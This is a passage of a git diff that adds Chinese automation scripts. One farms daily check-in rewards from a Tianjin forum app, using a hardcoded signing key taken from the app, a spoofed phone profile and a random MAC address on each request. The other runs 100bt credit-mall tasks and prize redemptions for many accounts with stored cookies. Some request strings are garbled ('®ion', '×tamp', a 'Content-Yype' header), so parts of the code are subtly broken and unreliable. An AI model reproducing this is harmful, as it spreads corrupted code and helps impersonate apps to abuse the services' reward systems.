+ this.userId = str.split(strSplitor)[0]; //单账号多变量分隔符
+ this.salf = str.split(strSplitor)[1];
+ this.ckStatus = true;
+ }
+ async task() {
+ $.DoubleLog(`------ 第[${this.index}]个账号 ------`)
+ await this.sign_info()
+ }
+ encode(str) {
+ //var b = new Buffer(str);
+ var b = Buffer.from(str);
+ var s = b.toString('base64');
+ var s = s.replace(/\//g, '_')
+ return s
+ }
+ getmac() {
+ var mac = "";
+ for (var i = 0; i < 6; i++) {
+ var randomByte = Math.floor(Math.random() * 256);
+ var hexString = randomByte.toString(16).toUpperCase();
+ mac += (hexString.length === 1 ? "0" + hexString : hexString) + ":";
+ }
+ mac = mac.slice(0, -1); // 去掉最后一个冒号
+ return mac;
+ }
+ async sign_info() {
+ let timestamp = Math.round(new Date().getTime() / 1000).toString();
+ let macs = this.getmac()
+ let mac = encodeURIComponent(macs)
+ let s = 'brand=OPPO&client=android&deviceInfo=OPPO_PCAM00_2021040100_10&interfaceVersion=v2.8&lat=30.1&lng=114.2&mac=' + macs + '&model=PCAM00&privacyStatus=1®ion=天津市&salf=' + this.salf + '×tamp=' + timestamp + '&uid=' + this.userId + '&userId=' + this.userId + '&version=2.8.4&versionCode=154'
+ s = this.encode(s)
+ let signs = CryptoJS.HmacSHA1(s, '1s_vsegymTasdgKxiKvRz5vDlyzmc92A_H6A8zg6I').toString().toUpperCase()
+ try {
+ let options = {
+ method: 'POST',
+ url: 'http://bbs.zaitianjin.net/zstj/v2.8/index.php',
+ headers: {
+ 'Content-Yype': 'application/x-www-form-urlencoded',
+ 'Host': 'bbs.zaitianjin.net',
+ 'Connection': 'Keep-Alive',
+ 'Accept-Encoding': 'gzip',
+ 'User-Agent': 'okhttp/4.9.3'
+ },
+ body: 'c=User&lng=114.2&privacyStatus=1&sign=' + signs + '&interfaceVersion=v2.8&version=2.8.4&userId=' + this.userId + '&m=signInfo&mac=' + mac + '&versionCode=154&deviceInfo=OPPO_PCAM00_2021040100_10&uid=' + this.userId + '&client=android&model=PCAM00®ion=%E5%A4%A9%E6%B4%A5%E5%B8%82&salf=' + this.salf + '&brand=OPPO&lat=30.1×tamp=' + timestamp
+ }, result = await httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result["code"] == 1) {
+ $.DoubleLog(`账号[${this.index}] 签到天数: ${result["data"]["signDays"]}🎉`);
+ $.DoubleLog(`账号[${this.index}] 累计签到天数: ${result["data"]["signAllDays"]}`)
+ $.DoubleLog(`账号[${this.index}] 今日是否签到: ${result["data"]["signStatue"]}`)
+ $.DoubleLog(`账号[${this.index}] 连续签到7天奖励: ${result["data"]["signData"]}`)
+ if (result["data"]["signStatue"] == false) {
+ await this.sign()
+ }
+ } else {
+ $.DoubleLog(`账号[${this.index}] 失败 ❌`);
+ //console.log(options);
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async sign() {
+ let timestamp = Math.round(new Date().getTime() / 1000).toString();
+ let macs = this.getmac()
+ let mac = encodeURIComponent(macs)
+ let s = 'brand=OPPO&client=android&deviceInfo=OPPO_PCAM00_2021040100_10&interfaceVersion=v2.8&lat=30.1&lng=114.2&mac=' + macs + '&model=PCAM00&privacyStatus=1®ion=天津市&salf=' + this.salf + '×tamp=' + timestamp + '&uid=' + this.userId + '&userId=' + this.userId + '&version=2.8.4&versionCode=154'
+ s = this.encode(s)
+ let signs = CryptoJS.HmacSHA1(s, '1s_vsegymTasdgKxiKvRz5vDlyzmc92A_H6A8zg6I').toString().toUpperCase()
+ try {
+ let options = {
+ method: 'POST',
+ url: 'http://bbs.zaitianjin.net/zstj/v2.8/index.php',
+ headers: {
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ 'Host': 'bbs.zaitianjin.net',
+ 'Connection': 'Keep-Alive',
+ 'Accept-Encoding': 'gzip',
+ 'User-Agent': 'okhttp/4.9.3'
+ },
+ body: 'c=Credit&lng=114.2&privacyStatus=1&sign=' + signs + '&interfaceVersion=v2.8&version=2.8.4&userId=' + this.userId + '&m=sign&mac=' + mac + '&versionCode=154&deviceInfo=OPPO_PCAM00_2021040100_10&uid=' + this.userId + '&client=android&model=PCAM00®ion=%E5%A4%A9%E6%B4%A5%E5%B8%82&salf=' + this.salf + '&brand=OPPO&lat=30.1×tamp=' + timestamp
+
+ }, result = await httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result["code"] == 1) {
+ $.DoubleLog(`账号[${this.index}] 签到成功🎉`);
+ } else {
+ $.DoubleLog(`账号[${this.index}] 签到:失败 ❌ `);
+ //console.log(options);
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+}
+
+!(async () => {
+ if (!(await checkEnv())) return;
+ if ($.userList.length > 0) {
+ await start();
+ } await $.SendMsg(msg);
+})().catch((e) => console.log(e)).finally(() => $.done());
+
+//********************************************************
+/**
+ * 变量检查与处理
+ * @returns
+ */
+async function checkEnv() {
+ let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "";
+ //let userCount = 0;
+ if (userCookie) {
+ // console.log(userCookie);
+ let e = envSplitor[0];
+ for (let o of envSplitor)
+ if (userCookie.indexOf(o) > -1) {
+ e = o;
+ break;
+ }
+ for (let n of userCookie.split(e)) n && $.userList.push(new UserInfo(n));
+ //userCount = $.userList.length;
+ } else {
+ console.log("未找到CK");
+ return;
+ }
+ return console.log(`共找到${$.userList.length}个账号`), true; //true == !0
+}
+
+/////////////////////////////////////////////////////////////////////////////////////
+function httpRequest(options, method = null) {
+ method = options.method ? options.method.toLowerCase() : options.body ? "post" : "get";
+ return new Promise((resolve) => {
+ $[method](options, (err, resp, data) => {
+ if (err) {
+ //console.log(resp)
+ console.log(`${method}请求失败`);
+ $.logErr(err);
+ } else {
+ //console.log(resp)
+ //console.log(data)
+ if (data) {
+ try { data = JSON.parse(data); } catch (error) { }
+ resolve(data);
+ } else {
+ console.log(`请求api返回数据为空,请检查自身原因`);
+ }
+ }
+ resolve();
+ });
+ });
+}
+/**
+ * 获取远程版本
+ */
+function getVersion(scriptUrl, timeout = 3 * 1000) {
+ return new Promise((resolve) => {
+ const options = { url: `https://fastly.jsdelivr.net/gh/${scriptUrl}` };
+ $.get(options, (err, resp, data) => {
+ try {
+ const regex = /scriptVersionNow\s*=\s*(["'`])([\d.]+)\1/;
+ const match = data.match(regex);
+ const scriptVersionLatest = match ? match[2] : "";
+ console.log(`\n====== 当前版本:${scriptVersionNow} 📌 最新版本:${scriptVersionLatest} ======`);
+ } catch (e) {
+ $.logErr(e, resp);
+ }
+ resolve();
+ }, timeout);
+ });
+}
+/**
+ * 获取远程通知
+ */
+async function getNotice() {
+ try {
+ const urls = [
+ "https://fastly.jsdelivr.net/gh/smallfawn/Note@main/Notice.json",
+ "https://gcore.jsdelivr.net/gh/smallfawn/Note@main/Notice.json",
+ "https://cdn.jsdelivr.net/gh/smallfawn/Note@main/Notice.json",
+ "https://ghproxy.com/https://raw.githubusercontent.com/smallfawn/Note/main/Notice.json",
+ "https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json",
+ ];
+ let notice = null;
+ for (const url of urls) {
+ const options = { url, headers: { "User-Agent": "" }, };
+ const result = await httpRequest(options);
+ if (result && "notice" in result) {
+ notice = result.notice.replace(/\\n/g, "\n");
+ break;
+ }
+ }
+ if (notice) { $.DoubleLog(notice); }
+ } catch (e) {
+ console.log(e);
+ }
+}
+// ==================== API ==================== //
+function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return ("POST" === e && (s = this.post), new Promise((e, a) => { s.call(this, t, (t, s, r) => { t ? a(t) : e(s) }) })) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new (class { constructor(t, e) { this.userList = []; this.userIdx = 0; (this.name = t), (this.http = new s(this)), (this.data = null), (this.dataFile = "box.dat"), (this.logs = []), (this.isMute = !1), (this.isNeedRewrite = !1), (this.logSeparator = "\n"), (this.encoding = "utf-8"), (this.startTime = new Date().getTime()), Object.assign(this, e), this.log("", `🔔${this.name},开始!`) } getEnv() { return "undefined" != typeof $environment && $environment["surge-version"] ? "Surge" : "undefined" != typeof $environment && $environment["stash-version"] ? "Stash" : "undefined" != typeof module && module.exports ? "Node.js" : "undefined" != typeof $task ? "Quantumult X" : "undefined" != typeof $loon ? "Loon" : "undefined" != typeof $rocket ? "Shadowrocket" : void 0 } isNode() { return "Node.js" === this.getEnv() } isQuanX() { return "Quantumult X" === this.getEnv() } isSurge() { return "Surge" === this.getEnv() } isLoon() { return "Loon" === this.getEnv() } isShadowrocket() { return "Shadowrocket" === this.getEnv() } isStash() { return "Stash" === this.getEnv() } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const a = this.getdata(t); if (a) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise((e) => { this.get({ url: t }, (t, s, a) => e(a)) }) } runScript(t, e) { return new Promise((s) => { let a = this.getdata("@chavy_boxjs_userCfgs.httpapi"); a = a ? a.replace(/\n/g, "").trim() : a; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); (r = r ? 1 * r : 20), (r = e && e.timeout ? e.timeout : r); const [i, o] = a.split("@"), n = { url: `http://${o}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": i, Accept: "*/*" }, timeout: r, }; this.post(n, (t, e, a) => s(a)) }).catch((t) => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e); if (!s && !a) return {}; { const a = s ? t : e; try { return JSON.parse(this.fs.readFileSync(a)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : a ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const a = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of a) if (((r = Object(r)[t]), void 0 === r)) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), (e.slice(0, -1).reduce((t, s, a) => Object(t[s]) === t[s] ? t[s] : (t[s] = Math.abs(e[a + 1]) >> 0 == +e[a + 1] ? [] : {}), t)[e[e.length - 1]] = s), t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, a] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, a, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, a, r] = /^@(.*?)\.(.*?)$/.exec(e), i = this.getval(a), o = a ? ("null" === i ? null : i || "{}") : "{}"; try { const e = JSON.parse(o); this.lodash_set(e, r, t), (s = this.setval(JSON.stringify(e), a)) } catch (e) { const i = {}; this.lodash_set(i, r, t), (s = this.setval(JSON.stringify(i), a)) } } else s = this.setval(t, e); return s } getval(t) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.read(t); case "Quantumult X": return $prefs.valueForKey(t); case "Node.js": return (this.data = this.loaddata()), this.data[t]; default: return (this.data && this.data[t]) || null } } setval(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.write(t, e); case "Quantumult X": return $prefs.setValueForKey(t, e); case "Node.js": return ((this.data = this.loaddata()), (this.data[e] = t), this.writedata(), !0); default: return (this.data && this.data[e]) || null } } initGotEnv(t) { (this.got = this.got ? this.got : require("got")), (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = () => { }) { switch ((t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"], delete t.headers["content-type"], delete t.headers["content-length"]), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && ((t.headers = t.headers || {}), Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, a) => { !t && s && ((s.body = a), (s.statusCode = s.status ? s.status : s.statusCode), (s.status = s.statusCode)), e(t, s, a) }); break; case "Quantumult X": this.isNeedRewrite && ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then((t) => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o, } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o, }, i, o) }, (t) => e((t && t.error) || "UndefinedError")); break; case "Node.js": let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), (e.cookieJar = this.ckjar) } } catch (t) { this.logErr(t) } }).then((t) => { const { statusCode: a, statusCode: r, headers: i, rawBody: o, } = t, n = s.decode(o, this.encoding); e(null, { status: a, statusCode: r, headers: i, rawBody: o, body: n, }, n) }, (t) => { const { message: a, response: r } = t; e(a, r, r && s.decode(r.rawBody, this.encoding)) }) } } post(t, e = () => { }) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; switch ((t.body && t.headers && !t.headers["Content-Type"] && !t.headers["content-type"] && (t.headers["content-type"] = "application/x-www-form-urlencoded"), t.headers && (delete t.headers["Content-Length"], delete t.headers["content-length"]), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && ((t.headers = t.headers || {}), Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, (t, s, a) => { !t && s && ((s.body = a), (s.statusCode = s.status ? s.status : s.statusCode), (s.status = s.statusCode)), e(t, s, a) }); break; case "Quantumult X": (t.method = s), this.isNeedRewrite && ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then((t) => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o, } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o, }, i, o) }, (t) => e((t && t.error) || "UndefinedError")); break; case "Node.js": let a = require("iconv-lite"); this.initGotEnv(t); const { url: r, ...i } = t; this.got[s](r, i).then((t) => { const { statusCode: s, statusCode: r, headers: i, rawBody: o, } = t, n = a.decode(o, this.encoding); e(null, { status: s, statusCode: r, headers: i, rawBody: o, body: n }, n) }, (t) => { const { message: s, response: r } = t; e(s, r, r && a.decode(r.rawBody, this.encoding)) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date(); let a = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in a) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? a[e] : ("00" + a[e]).substr(("" + a[e]).length))); return t } queryStr(t) { let e = ""; for (const s in t) { let a = t[s]; null != a && "" !== a && ("object" == typeof a && (a = JSON.stringify(a)), (e += `${s}=${a}&`)) } return (e = e.substring(0, e.length - 1)), e } msg(e = t, s = "", a = "", r) { const i = (t) => { switch (typeof t) { case void 0: return t; case "string": switch (this.getEnv()) { case "Surge": case "Stash": default: return { url: t }; case "Loon": case "Shadowrocket": return t; case "Quantumult X": return { "open-url": t }; case "Node.js": return }case "object": switch (this.getEnv()) { case "Surge": case "Stash": case "Shadowrocket": default: { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } case "Loon": { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } case "Quantumult X": { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl, a = t["update-pasteboard"] || t.updatePasteboard; return { "open-url": e, "media-url": s, "update-pasteboard": a, } } case "Node.js": return }default: return } }; if (!this.isMute) switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: $notification.post(e, s, a, i(r)); break; case "Quantumult X": $notify(e, s, a, i(r)); break; case "Node.js": }if (!this.isMuteLog) { let t = ["", "==============📣系统通知📣==============",]; t.push(e), s && t.push(s), a && t.push(a), console.log(t.join("\n")), (this.logs = this.logs.concat(t)) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: this.log("", `❗️${this.name},错误!`, t); break; case "Node.js": this.log("", `❗️${this.name},错误!`, t.stack) } } wait(t) { return new Promise((e) => setTimeout(e, t)) } DoubleLog(d) { if (this.isNode()) { if (d) { console.log(`${d}`); msg += `\n ${d}` } } else { console.log(`${d}`); msg += `\n ${d}` } } async SendMsg(m) { if (!m) return; if (Notify > 0) { if (this.isNode()) { var notify = require("../sendNotify"); await notify.sendNotify(this.name, m) } else { this.msg(this.name, "", m) } } else { console.log(m) } } done(t = {}) { const e = new Date().getTime(), s = (e - this.startTime) / 1e3; switch ((this.log("", `🔔${this.name},结束!🕛${s}秒`), this.log(), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: $done(t); break; case "Node.js": process.exit(1) } } })(t, e) }
+//Env rewrite:smallfawn Update-time:23-6-30 newAdd:DoubleLog & SendMsg
diff --git a/baitianGame.js b/baitianGame.js
new file mode 100644
index 00000000..34aad3a3
--- /dev/null
+++ b/baitianGame.js
@@ -0,0 +1,263 @@
+/**
+ * cron 44 14 * * * baitianGame.js
+ * Show:完成每日做任务和积分抢购(兑换)
+ * //多账号分隔符 换行 或者 @
+ * 变量名:baitianGameCookie
+ * 变量值:http://www.100bt.com/m/creditMall/?gameId=2#home 网页的cookie 随便找个商品兑换抓http://service.100bt.com/creditmall/
+ * 请求头Header cookie 全部
+ * scriptVersionNow = "0.0.1";
+ *
+ 兑换ID
+ 配置文件 export baitianExchangeId=0 不用引号 0代表兑换塔罗牌*1套 不写变量默认不兑换
+ //时序残响塔罗牌*1套 0
+ //奥奇传说餐具盒*1 1
+ //奥拉毛绒亚比球(随机款)*1 2
+ //1奥币 3
+ //小精灵白色毛绒包*1 4
+ //奥比岛软糯抱抱熊*1 5
+ //赤月毛绒公仔 6
+ //奥比岛PU皮潮流挎包 7
+ //奥比岛小精灵毛绒公仔 8
+ //时序残响天文台套装*1 9
+ //奥奇毛绒眼罩(随机款)*1 10
+ //奥奇手游小诺捏捏团*1 11
+ //"奥比岛幸运按摩捶*1" 12
+ //"奥拉星女仆咖啡立牌*1套", 13
+ //"时序残响方形炫酷徽章*1" 14
+ //"奥比岛爱心抱枕*1" 15
+ //"奥比岛多彩明信片*5" 16
+ //"奥奇传说手游明信片*3", 17
+ //"奥奇阿修公仔*1" 18
+ //"时序残响角色立牌*1" 19
+ //"奥奇传说束口袋*1" 20
+ // "奥拉星手游兑换码", 21
+ //"食物语手游精美书签*5" 22
+ // "食物语精美贴纸*1" 23
+ // "奥拉星页游礼包" 24.
+ //"奥奇页游礼包", 25
+ //"10奥币"26
+ //"奥比岛页游礼包" 27
+ //"奥拉星战斗卡牌*1" 28
+ //"奥雅页游礼包" 29
+ //"30奥币" 30
+ */
+
+const $ = new Env("100bt百田游戏");
+const notify = $.isNode() ? require("./sendNotify") : "";
+let ckName = "baitianGameCookie";
+let envSplitor = ["@", "\n"]; //多账号分隔符
+let strSplitor = "&"; //多变量分隔符
+let userIdx = 0;
+let userList = [];
+class UserInfo {
+ constructor(str) {
+ this.index = ++userIdx;
+ this.ck = str.split(strSplitor)[0]; //单账号多变量分隔符
+ this.ckStatus = true;
+ this.taskIdList = [];
+ }
+ async main() {
+ $.log(`正在做任务请耐心等待`);
+ await this.do_list()
+ if (this.taskIdList.length > 0) {
+ console.log(this.taskIdList)
+ for (let taskId of this.taskIdList) {
+ console.log(`正在做[${taskId.taskName}]任务`)
+ await $.wait(10000);
+ await this.do_task(taskId.taskId);
+ }
+ }
+
+ if (process.env["baitianExchangeId"]) {
+ await this.do_exchange(process.env["baitianExchangeId"]);
+ }
+ }
+ async do_list() {
+ let expando = "jQuery" + ("1.8.3" + Math.random()).replace(/\D/g, "");
+ let time1 = new Date().getTime();
+ let time2 = new Date().getTime();
+ try {
+ let options = {
+ fn: "任务列表查询",
+ method: "get",
+ url: `http://service.100bt.com/creditmall/activity/daily_task_list.jsonp??callback=${expando}_${time1}&gameId=2&_=${time2}`,
+ headers: {
+ Accept: "*/*",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
+ Cookie: this.ck,
+ Host: "service.100bt.com",
+ "Proxy-Connection": "keep-alive",
+ Referer: "http://www.100bt.com/",
+ "User-Agent":
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0",
+ },
+ };
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ //result = JSON.parse(result);
+ result = result.replace(`${expando}_${time1}`, "")
+ result = result.replace(`(`, "")
+ result = result.replace(`)`, "")
+ result = JSON.parse(result)
+ if (result.jsonResult.code == "0") {
+ for (let taskId of result.jsonResult.data) {
+ if (taskId.status == "0") {
+ this.taskIdList.push({ taskName: taskId.name, taskId: taskId.taskID })
+ }
+ }
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async do_task(taskId) {
+ //taskId=100 签到
+ //"taskID": 191, 奥拉星招募
+ //"taskID": 187, 预约奥拉星2手游
+ //"taskID": 185, 测测你的额外1小时
+ // "taskID": 188, 进入亚比概念站
+ //"taskID": 22每日查看最新预告
+ let expando = "jQuery" + ("1.8.3" + Math.random()).replace(/\D/g, "");
+ let time1 = new Date().getTime();
+ let time2 = new Date().getTime();
+ try {
+ let options = {
+ fn: "做任务",
+ method: "get",
+ url: `http://service.100bt.com/creditmall/activity/do_task.jsonp?callback=${expando}_${time1}&taskId=${taskId}&gameId=2&_=${time2}`,
+ headers: {
+ Accept: "*/*",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
+ Cookie: this.ck,
+ Host: "service.100bt.com",
+ "Proxy-Connection": "keep-alive",
+ Referer: "http://www.100bt.com/",
+ "User-Agent":
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0",
+ },
+ };
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ //result = JSON.parse(result);
+ result = result.replace(`${expando}_${time1}`, "")
+ result = result.replace(`(`, "")
+ result = result.replace(`)`, "")
+ result = JSON.parse(result)
+ $.log(JSON.stringify(result.jsonResult.message));
+
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async do_exchange(pageIndex) {
+ let expando = "jQuery" + ("1.8.3" + Math.random()).replace(/\D/g, "");
+ let time1 = new Date().getTime();
+ let time2 = new Date().getTime();
+ try {
+ let options = {
+ fn: "兑换",
+ method: "get",
+ url: `http://service.100bt.com/creditmall/mall/page.jsonp?callback=${expando}_${time1}&pageIndex=${pageIndex}&pageSize=1&orderBy=1&_=${time2}`,
+ headers: {
+ Accept: "*/*",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
+ Cookie: this.ck,
+ Host: "service.100bt.com",
+ "Proxy-Connection": "keep-alive",
+ Referer: "http://www.100bt.com/",
+ "User-Agent":
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0",
+ },
+ };
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ //result = JSON.parse(result);
+ $.log(JSON.stringify(result));
+ } catch (e) {
+ console.log(e);
+ }
+ }
+}
+
+async function start() {
+ let taskall = [];
+ for (let user of userList) {
+ if (user.ckStatus) {
+ taskall.push(await user.main());
+ }
+ }
+ await Promise.all(taskall);
+}
+
+!(async () => {
+ if (!(await checkEnv())) return;
+ if (userList.length > 0) {
+ await start();
+ }
+ await SendMsg($.logs.join("\n"));
+})()
+ .catch((e) => console.log(e))
+ .finally(() => $.done());
+
+//********************************************************
+/**
+ * 变量检查与处理
+ * @returns
+ */
+async function checkEnv() {
+ let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "";
+ if (userCookie) {
+ let e = envSplitor[0];
+ for (let o of envSplitor)
+ if (userCookie.indexOf(o) > -1) {
+ e = o;
+ break;
+ }
+ for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n));
+ } else {
+ console.log("未找到CK");
+ return;
+ }
+ return console.log(`共找到${userList.length}个账号`), true; //true == !0
+}
+
+/////////////////////////////////////////////////////////////////////////////////////
+function httpRequest(options) {
+ if (!options["method"]) {
+ return console.log(`请求方法不存在`);
+ }
+ if (!options["fn"]) {
+ console.log(`函数名不存在`);
+ }
+ return new Promise((resolve) => {
+ $[options.method](options, (err, resp, data) => {
+ try {
+ if (err) {
+ $.logErr(err);
+ } else {
+ try {
+ resp = JSON.parse(resp);
+ } catch (error) { }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(resp);
+ }
+ });
+ });
+}
+async function SendMsg(message) {
+ if (!message) return;
+ if ($.isNode()) {
+ await notify.sendNotify($.name, message);
+ } else {
+ $.msg($.name, "", message);
+ }
+}
+// prettier-ignore
+function Env(t, s) { return new (class { constructor(t, s) { (this.name = t), (this.data = null), (this.dataFile = "box.dat"), (this.logs = []), (this.logSeparator = "\n"), (this.startTime = new Date().getTime()), Object.assign(this, s), this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } getScript(t) { return new Promise((s) => { this.get({ url: t }, (t, e, i) => s(i)) }) } runScript(t, s) { return new Promise((e) => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let o = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); (o = o ? 1 * o : 20), (o = s && s.timeout ? s.timeout : o); const [h, a] = i.split("@"), r = { url: `http://${a}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: o }, headers: { "X-Key": h, Accept: "*/*" }, }; this.post(r, (t, s, i) => e(i)) }).catch((t) => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s); if (!e && !i) return {}; { const i = e ? t : s; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s), o = JSON.stringify(this.data); e ? this.fs.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o) } } lodash_get(t, s, e) { const i = s.replace(/\[(\d+)\]/g, ".$1").split("."); let o = t; for (const t of i) if (((o = Object(o)[t]), void 0 === o)) return e; return o } lodash_set(t, s, e) { return Object(t) !== t ? t : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), (s.slice(0, -1).reduce((t, e, i) => Object(t[e]) === t[e] ? t[e] : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {}), t)[s[s.length - 1]] = e), t) } getdata(t) { let s = this.getval(t); if (/^@/.test(t)) { const [, e, i] = /^@(.*?)\.(.*?)$/.exec(t), o = e ? this.getval(e) : ""; if (o) try { const t = JSON.parse(o); s = t ? this.lodash_get(t, i, "") : s } catch (t) { s = "" } } return s } setdata(t, s) { let e = !1; if (/^@/.test(s)) { const [, i, o] = /^@(.*?)\.(.*?)$/.exec(s), h = this.getval(i), a = i ? ("null" === h ? null : h || "{}") : "{}"; try { const s = JSON.parse(a); this.lodash_set(s, o, t), (e = this.setval(JSON.stringify(s), i)) } catch (s) { const h = {}; this.lodash_set(h, o, t), (e = this.setval(JSON.stringify(h), i)) } } else e = this.setval(t, s); return e } 